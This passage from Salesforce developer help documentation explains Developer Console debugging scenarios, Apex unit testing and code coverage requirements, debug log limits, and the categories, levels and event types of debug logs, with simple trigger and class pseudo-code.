to that method in another, and other common development taskswill not be reported as errors.
Saving Changes
When you make changes in source code view, the name of the tab has a * to indicate unsaved changes. Click Save in the
corner of a source view to save changes.
To save a collection of changes with dependencies, click Save All to save changes in all open tabs. All modified views are saved
together in one request.
When you save modified source views, theyre validated against all saved sources. If source files have related changes, its
impossible to save the files individually.
You cant save if you have compilation errors. Review the Problems panel, correct any errors, and click Save again.
Note: Apex classes and triggers are saved with the latest API version.

Staying in Sync with Code in the Cloud


The Developer Console will notice if a source view has been changed by another user since you opened it. If you havent made
any changes to it, the source view will be updated automatically. If youve made modifications, youll see an alert that lets you
know another user has made changes, with the option to update the source view to the latest version.
Caution: When you update to the latest version your changes will be overwritten. Copy your version out of the source
view to preserve it. You cant save a modified source view if it has also been modified on the server. Instead, update to
the latest version and integrate your modifications into the new version.

The Schema Quick View


The Schema Quick View gives you a read-only reference for the fields of a standard or custom object, and their data types.

2032

Develop

Examples of Using the Developer Console

Note: You can't modify custom objects in the Developer Console. To create, edit, or delete custom objects, click Your
Name > Setup > Create > Objects to work with your custom objects.

Examples of Using the Developer Console


Here are some of the ways you can use the Developer Console to diagnose and solve problems.

Tracing the Path of Execution


Viewing System.Debug Statements
Updating Source Code
Tracking DML in a Request
Evaluating the Performance of a Visualforce Page
Viewing a Complex Process

Tracing the Path of Execution


Scenario: Youve opened a debug log in a System Log view. What are some of the ways to step through the information?
1. In the execution log, click Executable. This filters out all non-executable steps, including cumulative limits information.

2. Click the Executed Units tab to view the aggregate values of different types of operations in the request. For example,
you can view the number of DML operations or the different methods by the type of method.
3. Click the Limits tab to view the governor limits used by this operation.
Viewing System.Debug Statements
Scenario: Youve added a number of System.Debug statements to your code to track a request's progress. How do you
find them using the System Log view?
1. Click Filter in the execution log panel.
2. Enter debug in the entry box.
Only the lines containing the word debug in your request display.
Updating Source Code
Scenario: After you run your request, you notice an Apex code error in the debug log. What's the easiest way to edit
your Apex code?
1. From the Source panel, select the line of code.
2. Click Open.
The Apex editor opens the source code for that class or trigger in a new Source Code tab.

2033

Develop

Examples of Using the Developer Console

Tracking DML in a Request


Scenario: Suppose your request contains many DML statements in different locations. How can you tell how many
times DML is executed in a request?
Here are two techniques for drilling into a debug log to examine the actual DML executed during the course of a request:
1. In the execution log, click Filter, then enter DML. All items in the request that contain DML anywhere in either the
event or details display.

2. In the Executed Units tab, disable all other types of execution, except for DML. The buttons are togglesclick once
to filter that type of operation out of the list. Click again to disable the filter. To view only the DML, click Methods,
Queries, Workflow, Callouts, Validations, Triggers and Pages.

The details of the DML operation show the kind of object that was affected, and the specific operation
performedinsert, update, and so on. You can also view the number of times a DML statement was executed,
the number of rows, and so on.
If you click a DML request item in the Executed Units tab, the execution log section filters out all other parts of
the request, and displays only that DML statement.

You can also use these procedures for looking up and filtering queries.
Evaluating the Performance of a Visualforce Page
Scenario: You have a Visualforce page and an Apex controller that executes SOQL queries. How do you analyze the
performance of your page and find out which code unit took the most time? How do you determine how many queries
are performed in the request? How do you verify how close you are getting to governor limits?
1. Look for the name of the Visualforce page in the stack trace. The top level has the format /apex/pagename. The
first node under that shows the actual execution of the page. Open that node to see when the controller was initialized.
2. Continue to open nodes to explore the calling of methods and how long each method took. When you click an item
in the stack trace, the execution log displays that portion of the debug log, the source window refreshes to display
the appropriate source code, and the variables inspector shows the variables that are in context.

2034

Develop

Examples of Using the Developer Console

3. Click Executed Units to view statistics of your code that include execution time in milliseconds and heap size in
bytes. The Cnt column shows the number of times a certain code unit has been executed. If a code unit was executed
more than once, the sum, average, maximum, and minimum run times are updated. Similarly, if a query is executed
more than once, the rows columns are updated to summarize the aggregate numbers of returned rows.
You can filter out code units by clicking the buttons on the bottom that correspond to the code units you want to
omit from the view. Tracking DML in a Request explains how to do this.

4. Click Limits to verify the applicable limits, and how close your request is to each applicable limit. The Total Available
column shows the governor limits allowed for your organization per type of operation. The Request Total column
shows the total number of requests performed. The Used so far column shows the number of requests consumed at
the point of execution you selected in the stack trace or execution log.

2035

Develop

Examples of Using the Developer Console

5. Click Timeline to see a visual display of the executed code units broken up by the type of code unit, in addition to
the total and percentage of execution time for each type of code unit. The timeline lets you quickly find out which
parts of the request took the longest. Select a time interval at the bottom of the summary section to increase or
decrease the period displayed in the timeline.

In this example, database requests took the most time (56.95%). They are followed by the Visualforce page. The
least amount of time was spent on Apex code. Also, Visualforce pages and Apex code were executed first and last,
while database operations were carried out between them.
Viewing a Complex Process
Scenario: Your process is complex, and includes several Apex classes and triggers, workflow, and validation rules. What
are some of the best ways to step through or filter the resulting debug log?
1. The stack section contains a tree structure illustrating the execution path of all the top level items in the request. Use
this to see the hierarchy of items as they execute.
2. Use the Filter entry box in the execution log. For example, if youre interested in trigger-specific events, click Filter
and enter trigger.

Only the lines in the debug log that contain the word trigger display in the execution log section.
3. Limit the scope of the execution log to a specific selected unit of execution by selecting This Frame. For example,
if you select a line that contains CODE_UNIT_STARTED in the execution log, and then click This Frame, the execution
log displays only the items in the request that occur between CODE_UNIT_STARTED and its associated
CODE_UNIT_ENDED.

2036

Develop

About Apex Unit Tests

Note: When This Frame is selected the execution log only displays the items that are contained in that
frame, not any lower level operations. For example, if a trigger calls a class, only the trigger operations display
in the execution log, not the class operations.

About Apex Unit Tests


Available in: Unlimited, Developer, Enterprise, and Database.com Editions
Managed Packages are not available in Database.com.

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate
that your application works as expected and that there are no unexpected behaviors, your customers are going to trust you
more.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are
class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit
no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition.
Before you can deploy your code or package it for the Force.com AppExchange, the following must be true:

75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following:

When deploying to a production organization, every unit test in your organization namespace is executed.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.

Every trigger has some test coverage.


All classes and triggers compile successfully.

You can run unit tests for:

A specific class
A subset of classes
All unit tests in your organization

2037

Develop

About Apex Unit Tests

If your test calls another class or causes a trigger to execute, that Apex is included in the total amount used for calculating the
percentage of code covered.

See Also:
Apex Code Overview
Working with Apex Test Execution
Viewing Test Results
Apex Test Results
What is a Debug Log?
Working with the Developer Console
Developer's Guide: Force.com Apex Code Developer's Guide

Working with Apex Test Execution


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

To use the Apex Test Execution page:


1. Click Your Name > Setup > Develop > Apex Test Execution.
2. Click Select Tests....
Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by
clicking Compile all classes on the Apex Classes page so that they appear in the list. See Managing Apex Classes
on page 1998.
3. Select the tests to run. The list of tests contains classes that contain test methods.

To select tests from an installed managed package, select its corresponding namespace from the drop-down list. Only
the classes of the managed package with the selected namespace appear in the list.
To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local
classes that aren't from managed packages appear in the list.
To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether
or not they are from a managed package.
Note: Classes whose tests are still running don't appear in the list.

4. Click Run.

2038

Develop

About Apex Unit Tests

After selecting test classes to run, the selected classes are placed in the Apex job queue for execution. The maximum number
of test classes you can select for execution is the greater of 500 or 10 multiplied by the number of test classes in the organization.
To disable parallel execution of tests in order to run your tests one at a time, click Options..., select Disable Parallel Apex
Testing, and then click OK. Running tests one at a time helps prevent test interference on shared data when tests run at the
same time and access the same data. This only occurs when tests dont create their own data and turn off data isolation to
access the organizations data. For more information about test data, see Isolation of Test Data from Organization Data in
Unit Tests in the Force.com Apex Code Developers Guide. This option doesnt affect the asynchronous execution of tests, which
continue to run asynchronously from the Apex Test Execution page.
While tests are running, you can select one or more tests and click Abort to cancel.
After a test finishes running, you can:

Click the test to see result details; if a test fails, the first error message and the stack trace display.
Click View to see the source Apex code.
Note: Test results display for 60 minutes after they finish running.

Use the Apex Test Results page to see all test results for your organization. Click Your Name > Setup > Develop > Apex
Test Execution > View Test History.
Use the Developer Console to see additional information about your test execution:
1. Click Your Name > Developer Console.
2. Run your tests using the Apex Test Execution page.
3. Check the Developer Console to step through the request.
Inspecting Code Coverage Results
After you run tests using the Apex Test Execution page, you can display the percentage of code covered by those tests on the
list of Apex classes. Click Your Name > Setup > Develop > Apex Classes, then click Calculate your organization's code
coverage.
Note: The code coverage value computed by Calculate your organization's code coverage might differ from the code
coverage value computed after running all unit tests using Run All Tests. This is because Calculate your organization's
code coverage excludes classes that are part of installed managed packages while Run All Tests doesn't.
You can also verify which lines of code are covered by tests for an individual class. Click Your Name > Setup > Develop >
Apex Classes, then click the percentage number in the Code Coverage column for a class.
To reduce calculation time of overall code coverage results obtained through Calculate your organization's code coverage,
click Options..., select Store Only Aggregated Code Coverage, and then click OK . Use this option only when you have
many tests and large volumes of Apex code, that is, when the number of Apex test methods multiplied by the number of all
classes and triggers is in the range of hundreds of thousands. This option causes code coverage results to be stored in aggregate
form for all test methods. As a result, you cant view code coverage results for an individual test method. Also, if you modify
test methods that are defined in a test class (a class annotated with @isTest), youll have to clear code coverage results by
clicking Clear Code Coverage on the Apex Classes page. This is because the existing code coverage results of classes and
triggers that these test methods cover arent automatically cleared when using this option and modifying the tests. This option

2039

Develop

About Apex Unit Tests

applies to test methods regardless of how theyre executedsynchronously or asynchronously. For more information on running
tests, see Running Unit Test Methods in the Force.com Apex Code Developers Guide.

See Also:
Apex Code Overview
About Apex Unit Tests
Apex Test Results
Viewing Test Results
Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Test Results


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

To use the Apex Classes page to generate test results, click Your Name > Setup > Develop > Apex Classes, then either click
Run All Tests or click the name of a specific class that contains tests and click Run Test.
After you use the Apex Classes page to generate test results, the test result page contains the following sections. Each section
can be expanded or collapsed.

A summary section that details the number of tests run, the number of failures, the percentage of Apex code that is covered
by unit tests, the total execution time in milliseconds, and a link to a downloadable debug log file.
The debug log is automatically set to specific log levels and categories, which can't be changed.
Category

Level

Database

INFO

Apex Code

FINE

Apex Profiling

FINE

Workflow

FINEST

Validation

INFO

Important: Before you can deploy Apex or package it for the Force.com AppExchange, the following must be
true:
75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following:

2040

Develop

About Apex Unit Tests

When deploying to a production organization, every unit test in your organization namespace is executed.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of
code that is covered. Instead, you should make sure that every use case of your application is covered,
including positive and negative cases, as well as bulk and single record. This should lead to 75% or more
of your code being covered by unit tests.

Every trigger has some test coverage.


All classes and triggers compile successfully.

Test successes, if any.


Test failures, if any.
A code coverage section.
This section lists all the classes and triggers in your organization, and the percentage of lines of code in each class and
trigger that are covered by tests. If you click the coverage percent number, a page displays, highlighting all the lines of code
for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by
tests in red. It also lists how many times a particular line in the class or trigger was executed by the test

Test coverage warnings, if any.

You can also view test results by clicking Your Name > Setup > Develop > Apex Test Execution > View Test History. This
page displays all test results for your organization in the default view for 30 days unless cleared, not just tests that you have
run.
To view test results of tests that are executed using the Apex Test Execution page, see Working with Apex Test Execution
on page 2038.

See Also:
Apex Code Overview
About Apex Unit Tests
Working with Apex Test Execution
Managing Apex Classes
Developer's Guide: Force.com Apex Code Developer's Guide

2041

Develop

About Apex Unit Tests

Apex Test Results


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

Click Your Name > Setup > Develop > Apex Test Execution > View Test History to view all test results for your organization,
not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click View to view more details about a specific test run.

See Also:
Apex Code Overview
Working with Apex Test Execution
Apex Test Results Details
Developer's Guide: Force.com Apex Code Developer's Guide

Apex Test Results Details


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show dependencies, and run tests
for Apex classes:

Author Apex

To view all test results for your organization in the default view for 30 days unless cleared, not just tests that you have run,
click Your Name > Setup > Develop > Apex Test Execution > View Test History. Click View to view more details about a
specific test run.

See Also:
Apex Code Overview
Apex Test Results
Developer's Guide: Force.com Apex Code Developer's Guide

2042

Develop

What is a Debug Log?

What is a Debug Log?


Available in: Unlimited, Developer, Enterprise, and Database.com Editions
The Salesforce user interface, Email Services, and Approvals are not available in Database.com.

User Permissions Needed


To use the Developer Console:

View All Data

To use the execute anonymous text entry box:

Author Apex

To save changes to Apex classes and triggers:

Author Apex

To save changes to Visualforce pages and components:

Customize Application

A debug log records database operations, system processes, and errors that occur when executing a transaction or while running
unit tests. The system generates a debug log for a user every time that user executes a transaction that is included in the filter
criteria.
Transactions can be generated from the following:

Salesforce user interface


API
executeanonymous calls
Web services
Email services

The filter criteria set for the user, the Developer Console or the API header determines what is included in the debug log.
Debug logs can contain information about:

Database changes
HTTP callouts
Apex errors
Resources used by Apex
Automated workflow processes, such as:

Workflow rules
Assignment rules
Approval processes
Validation rules

The following are examples of when you use a debug log:

You're a developer creating a custom application and use the debug log to validate some of the application's behavior, such
as if the application made callouts to an external system. You could set the debug log filter to check for callouts, then in
the debug log, view information about the success and duration of those callouts.

2043

Develop

What is a Debug Log?

You're an administrator for an organization, and a user reports having difficulties. You could start to monitor the debug
logs for that user, have them step through the transaction, and then use the debug log to view the system details of the
transaction.

Debug Log Limits


The following are the limits for debug logs:

Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
Each debug log can only be 2 MB. Debug logs that are larger than 2 MB in size are truncated.
Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.

Debug Log Truncation


Debug logs are truncated starting from the oldest log entries. The newer log entries are preserved. This allows you to have
access to the most pertinent information leading to an error that you are diagnosing. The debug log gets truncated by 200
KBytes when it reaches its maximum size of 2 MB. Some log entries don't get truncated and will always be part of the debug
log, even if they're part of the oldest log entries, because they're necessary for processing the debug log. However, other log
information that appears between the start and end lines of these log entries will be removed as part of log truncation. The
following are the events that are associated with non-deletable log entries.

EXECUTION_STARTED
EXECUTION_FINISHED
CODE_UNIT_STARTED
CODE_UNIT_FINISHED
METHOD_ENTRY
METHOD_EXIT
CONSTRUCTOR_ENTRY
CONSTRUCTOR_EXIT
SOQL_EXECUTE_BEGIN
SOQL_EXECUTE_END
SOSL_EXECUTE_BEGIN
SOSL_EXECUTE_END
CALLOUT_REQUEST
CALLOUT_RESPONSE
FATAL_ERROR

See Also:
Viewing Debug Logs
Setting Debug Log Filters
Monitoring Debug Logs
Retaining Debug Logs
Working with the Developer Console
About Apex Unit Tests
Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide

2044

Develop

Setting Debug Log Filters

Setting Debug Log Filters


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To use the Developer Console:

View All Data

To use the execute anonymous text entry box:

Author Apex

To save changes to Apex classes and triggers:

Author Apex

To save changes to Visualforce pages and components:

Customize Application

When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in
the log.
Log category
The type of information logged, such as information from Apex or workflow rules.
Log level
The amount of information logged.
Event type
The combination of log category and log level that specify which events get logged. Each event can log additional
information, such as the line and character number where the event started, fields associated with the event, duration of
the event in milliseconds, and so on.

Debug Log Categories


You can specify the following log categories. The amount of information logged for each category depends on the log level:
Log Category

Description

Database

Includes information about database activity, including every data manipulation


language (DML) statement or inline SOQL or SOSL query.

Workflow

Includes information for workflow rules, such as the rule name, the actions taken, and
so on.

Validation

Includes information about validation rules, such as the name of the rule, whether the
rule evaluated true or false, and so on.

Callout

Includes the request-response XML that the server is sending and receiving from an
external Web service. This is useful when debugging issues related to using Force.com
Web services API calls.

Apex Code

Includes information about Apex code and can include information such as log
messages generated by DML statements, inline SOQL or SOSL queries, the start
and completion of any triggers, and the start and completion of any test method, and
so on.

2045

Develop

Setting Debug Log Filters

Log Category

Description

Apex Profiling

Includes cumulative profiling information, such as the limits for your namespace, the
number of emails sent, and so on.

Visualforce

Includes information about Visualforce events including serialization and deserialization


of the view state or the evaluation of a formula field in a Visualforce page.

System

Includes information about calls to all system methods such as the System.debug
method.

Debug Log Levels


You can specify the following log levels. The levels are listed from lowest to highest. Specific events are logged based on the
combination of category and levels. Most events start being logged at the INFO level. The level is cumulative, that is, if you
select FINE, the log will also include all events logged at DEBUG, INFO, WARN and ERROR levels.
Note: Not all levels are available for all categories: only the levels that correspond to one or more events.

ERROR
WARN
INFO
DEBUG
FINE
FINER
FINEST

Debug Event Types


The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp |
event identifier:

timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time
zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request.
The elapsed time value is excluded from logs reviewed in the Developer Console.
event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or
VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and
character number where the code was executed.

The following is an example of a debug log line.

Figure 16: Debug Log Line Example


In this example, the event identifier is made up of the following:

2046

Develop

Setting Debug Log Filters

Event name:
USER_DEBUG

Line number of the event in the code:


[2]

Logging level the System.Debug method was set to:


DEBUG

User-supplied string for the System.Debug method:


Hello world!

The following example of a log line is triggered by this code snippet.

Figure 17: Debug Log Line Code Snippet


The following log line is recorded when the test reaches line 5 in the code:
15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1

In this example, the event identifier is made up of the following:

Event name:
DML_BEGIN

Line number of the event in the code:


[5]

DML operation typeInsert:


Op:Insert

Object name:
Type:Invoice_Statement__c

Number of rows passed into the DML operation:


Rows:1

2047

Develop

Setting Debug Log Filters

The following table lists the event types that are logged, what fields or other information get logged with each event, as well
as what combination of log level and category cause an event to be logged.
Event Name

Fields or Information Logged With Event Category Logged

Level Logged

BULK_HEAP_ALLOCATE

Number of bytes allocated

Apex Code

FINEST

CALLOUT_REQUEST

Line number, request headers

Callout

INFO and above

CALLOUT_RESPONSE

Line number, response body

Callout

INFO and above

CODE_UNIT_FINISHED

None

Apex Code

ERROR and above

CODE_UNIT_STARTED

Line number, code unit name, such as

Apex Code

ERROR and above

MyTrigger on Account trigger


event BeforeInsert for [new]
CONSTRUCTOR_ENTRY

Line number, Apex class ID, the sring


<init>() with the types of parameters, if
any, between the parentheses

Apex Code

DEBUG and above

CONSTRUCTOR_EXIT

Line number, the string <init>() with the Apex Code


types of parameters, if any, between the
parentheses

DEBUG and above

CUMULATIVE_LIMIT_USAGE

None

Apex Profiling

INFO and above

CUMULATIVE_LIMIT_USAGE_END None

Apex Profiling

INFO and above

None

Apex Profiling

FINE and above

CUMULATIVE_PROFILING_BEGIN None

Apex Profiling

FINE and above

CUMULATIVE_PROFILING_END None

Apex Profiling

FINE and above

CUMULATIVE_PROFILING

DML_BEGIN

Line number, operation (such as Insert, Apex Code


Update, and so on), record name or type,
number of rows passed into DML operation

INFO and above

DML_END

Line number

Apex Code

INFO and above

EMAIL_QUEUE

Line number

Apex Code

INFO and above

ENTERING_MANAGED_PKG

Package namespace

Apex Code

INFO and above

EXCEPTION_THROWN

Line number, exception type, message

Apex Code

INFO and above

EXECUTION_FINISHED

None

Apex Code

ERROR and above

EXECUTION_STARTED

None

Apex Code

ERROR and above

FATAL_ERROR

Exception type, message, stack trace

Apex Code

ERROR and above

HEAP_ALLOCATE

Line number, number of bytes

Apex Code

FINER and above

HEAP_DEALLOCATE

Line number, number of bytes deallocated

Apex Code

FINER and above

IDEAS_QUERY_EXECUTE

Line number

DB

FINEST

LIMIT_USAGE_FOR_NS

Namespace, following limits:

Apex Profiling

FINEST

Number of SOQL queries


Number of query rows

2048

Develop

Event Name

Setting Debug Log Filters

Fields or Information Logged With Event Category Logged

Level Logged

Number of SOSL queries


Number of DML statements
Number of DML rows
Number of code statements
Maximum heap size
Number of callouts
Number of Email Invocations
Number of fields describes
Number of record type describes
Number of child relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()
invocations

METHOD_ENTRY

Line number, the Force.com ID of the class, Apex Code


method signature

DEBUG and above

METHOD_EXIT

Line number, the Force.com ID of the class, Apex Code


method signature.

DEBUG and above

For constructors, the following information


is logged: Line number, class name.
POP_TRACE_FLAGS

Line number, the Force.com ID of the class System


or trigger that has its log filters set and that
is going into scope, the name of this class or
trigger, the log filter settings that are now in
effect after leaving this scope

INFO and above

PUSH_TRACE_FLAGS

Line number, the Force.com ID of the class System


or trigger that has its log filters set and that
is going out of scope, the name of this class
or trigger, the log filter settings that are now
in effect after entering this scope

INFO and above

QUERY_MORE_ITERATIONS

Line number, number of queryMore


iterations

DB

INFO and above

SAVEPOINT_ROLLBACK

Line number, Savepoint name

DB

INFO and above

SAVEPOINT_SET

Line number, Savepoint name

DB

INFO and above

2049

Develop

Setting Debug Log Filters

Event Name

Fields or Information Logged With Event Category Logged

Level Logged

SLA_END

Number of cases, load time, processing time, Workflow


number of case milestones to
insert/update/delete, new trigger

INFO and above

SLA_EVAL_MILESTONE

Milestone ID

Workflow

INFO and above

SLA_NULL_START_DATE

None

Workflow

INFO and above

SLA_PROCESS_CASE

Case ID

Workflow

INFO and above

SOQL_EXECUTE_BEGIN

Line number, number of aggregations, query DB


source

INFO and above

SOQL_EXECUTE_END

Line number, number of rows, duration in


milliseconds

DB

INFO and above

SOSL_EXECUTE_BEGIN

Line number, query source

DB

INFO and above

SOSL_EXECUTE_END

Line number, number of rows, duration in


milliseconds

DB

INFO and above

Apex Profiling

FINE and above

Apex Code

FINER and above

STACK_FRAME_VARIABLE_LIST Frame number, variable list of the form:


Variable number | Value. For example:
var1:50
var2:'Hello World'

STATEMENT_EXECUTE

Line number

STATIC_VARIABLE_LIST

Variable list of the form: Variable number Apex Profiling


| Value. For example:

FINE and above

var1:50
var2:'Hello World'

SYSTEM_CONSTRUCTOR_ENTRY Line number, the string <init>() with the System

DEBUG

types of parameters, if any, between the


parentheses
SYSTEM_CONSTRUCTOR_EXIT

Line number, the string <init>() with the System


types of parameters, if any, between the
parentheses

DEBUG

SYSTEM_METHOD_ENTRY

Line number, method signature

System

DEBUG

SYSTEM_METHOD_EXIT

Line number, method signature

System

DEBUG

SYSTEM_MODE_ENTER

Mode name

System

INFO and above

SYSTEM_MODE_EXIT

Mode name

System

INFO and above

TESTING_LIMITS

None

Apex Profiling

INFO and above

Apex Profiling

FINE and above

TOTAL_EMAIL_RECIPIENTS_QUEUED Number of emails sent

2050

Develop

Setting Debug Log Filters

Event Name

Fields or Information Logged With Event Category Logged

Level Logged

USER_DEBUG

Line number, logging level, user-supplied


string

DEBUG and above


by default. If the
user sets the log
level for the

Apex Code

System.Debug

method, the event is


logged at that level
instead.
VALIDATION_ERROR

Error message

Validation

INFO and above

VALIDATION_FAIL

None

Validation

INFO and above

VALIDATION_FORMULA

Formula source, values

Validation

INFO and above

VALIDATION_PASS

None

Validation

INFO and above

VALIDATION_RULE

Rule name

Validation

INFO and above

VARIABLE_ASSIGNMENT

Line number, variable name, a string


representation of the variable's value, the
variable's address

Apex Code

FINEST

VARIABLE_SCOPE_BEGIN

Line number, variable name, type, a value


Apex Code
that indicates if the variable can be referenced,
a value that indicates if the variable is static

FINEST

VARIABLE_SCOPE_END

None

Apex Code

FINEST

VF_APEX_CALL

Element name, method name, return type

Apex Code

INFO and above

VF_DESERIALIZE_VIEWSTATE_BEGIN View state ID

Visualforce

INFO and above

VF_DESERIALIZE_VIEWSTATE_END None

Visualforce

INFO and above

VF_EVALUATE_FORMULA_BEGIN View state ID, formula

Visualforce

FINER and above

VF_EVALUATE_FORMULA_END

None

Visualforce

FINER and above

VF_PAGE_MESSAGE

Message text

Apex Code

INFO and above

VF_SERIALIZE_VIEWSTATE_BEGIN View state ID

Visualforce

INFO and above

VF_SERIALIZE_VIEWSTATE_END None

Visualforce

INFO and above

WF_ACTION

Action description

Workflow

INFO and above

WF_ACTION_TASK

Task subject, action ID, rule, owner, due date Workflow

INFO and above

WF_ACTIONS_END

Summer of actions performed

Workflow

INFO and above

WF_APPROVAL

Transition type, EntityName: NameField Workflow


Id, process node name

INFO and above

WF_APPROVAL_REMOVE

EntityName: NameField Id

Workflow

INFO and above

WF_APPROVAL_SUBMIT

EntityName: NameField Id

Workflow

INFO and above

WF_ASSIGN

Owner, assignee template ID

Workflow

INFO and above

2051

Develop

Setting Debug Log Filters

Event Name

Fields or Information Logged With Event Category Logged

Level Logged

WF_CRITERIA_BEGIN

EntityName: NameField Id, rule name, Workflow

INFO and above

rule ID, trigger type (if rule respects trigger


types)
WF_CRITERIA_END

Boolean value indicating success (true or false) Workflow

INFO and above

WF_EMAIL_ALERT

Action ID, rule

Workflow

INFO and above

WF_EMAIL_SENT

Email template ID, recipients, CC emails

Workflow

INFO and above

WF_ENQUEUE_ACTIONS

Summary of actions enqueued

Workflow

INFO and above

WF_ESCALATION_ACTION

Case ID, business hours

Workflow

INFO and above

WF_ESCALATION_RULE

None

Workflow

INFO and above

WF_EVAL_ENTRY_CRITERIA

Process name, email template ID, Boolean


value indicating result (true or false)

Workflow

INFO and above

WF_FIELD_UPDATE

EntityName: NameField Id, object or

Workflow

INFO and above

field name
WF_FORMULA

Formula source, values

Workflow

INFO and above

WF_HARD_REJECT

None

Workflow

INFO and above

WF_NEXT_APPROVER

Owner, next owner type, field

Workflow

INFO and above

WF_NO_PROCESS_FOUND

None

Workflow

INFO and above

WF_OUTBOUND_MSG

EntityName: NameField Id, action ID, Workflow

INFO and above

rule
WF_PROCESS_NODE

Process name

Workflow

INFO and above

WF_REASSIGN_RECORD

EntityName: NameField Id, owner

Workflow

INFO and above

WF_RESPONSE_NOTIFY

Notifier name, notifier email, notifier


template ID

Workflow

INFO and above

WF_RULE_ENTRY_ORDER

Integer, indicating order

Workflow

INFO and above

WF_RULE_EVAL_BEGIN

Rule type

Workflow

INFO and above

WF_RULE_EVAL_END

None

Workflow

INFO and above

WF_RULE_EVAL_VALUE

Value

Workflow

INFO and above

WF_RULE_FILTER

Filter criteria

Workflow

INFO and above

WF_RULE_INVOCATION

EntityName: NameField Id

Workflow

INFO and above

WF_RULE_NOT_EVALUATED

None

Workflow

INFO and above

WF_SOFT_REJECT

Process name

Workflow

INFO and above

WF_SPOOL_ACTION_BEGIN

Node type

Workflow

INFO and above

WF_TIME_TRIGGER

EntityName: NameField Id, time action, Workflow

INFO and above

time action container, evaluation Datetime

2052

Develop

Debug Log Filtering for Apex Classes and Apex Triggers

Event Name

Fields or Information Logged With Event Category Logged

Level Logged

WF_TIME_TRIGGERS_BEGIN

None

INFO and above

Workflow

See Also:
What is a Debug Log?
Monitoring Debug Logs
Viewing Debug Logs
About Apex Unit Tests
Working with the Developer Console
Developer's Guide: Force.com Apex Code Developer's Guide

Debug Log Filtering for Apex Classes and Apex Triggers


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

Setting Debug Log Filters for Apex Classes and Triggers


Debug log filtering provides a mechanism for fine-tuning the log verbosity at the trigger and class level. This is especially
helpful when debugging Apex logic. For example, to evaluate the output of a complex process, you can raise the log verbosity
for a given class while turning off logging for other classes or triggers within a single request.
When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class
or trigger calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the
debug log settings from their caller, unless they have these settings overridden.
The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1
is causing some issues that you would like to take a closer look at. To this end, the debug log levels of Class1 are raised to
the finest granularity. Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1.
However, UtilityClass has already been tested and is known to work properly, so it has its log filters turned off. Similarly,
Class2 isn't in the code path that causes a problem, therefore it has its logging minimized to log only errors for the Apex
Code category. Trigger2 inherits these log settings from Class2.

Figure 18: Fine-tuning debug logging for classes and triggers

2053

Develop

Debug Log Filtering for Apex Classes and Apex Triggers

The following is a pseudo-code example that the diagram is based on.


1. Trigger1 calls a method of Class1 and another method of Class2. For example:
trigger Trigger1 on Account (before insert) {
Class1.someMethod();
Class2.anotherMethod();
}

2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}
public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething();
}
}

3. Class2 causes a trigger, Trigger2, to be executed. For example:


public class Class2 {
public static void anotherMethod() {
// Some code that causes Trigger2 to be fired.
}
}

To set log filters:


1. From a class or trigger detail page, click Log Filters.
2. Click Override Log Filters.
The log filters are set to the default log levels.
3. Choose the log level desired for each log category.
To learn more about debug log categories, debug log levels, and debug log events, see Setting Debug Log Filters.

See Also:
Viewing Apex Classes
Viewing Apex Trigger Details

2054

Develop

Using Tools for Developing and Deploying Apex

Using Tools for Developing and Deploying Apex


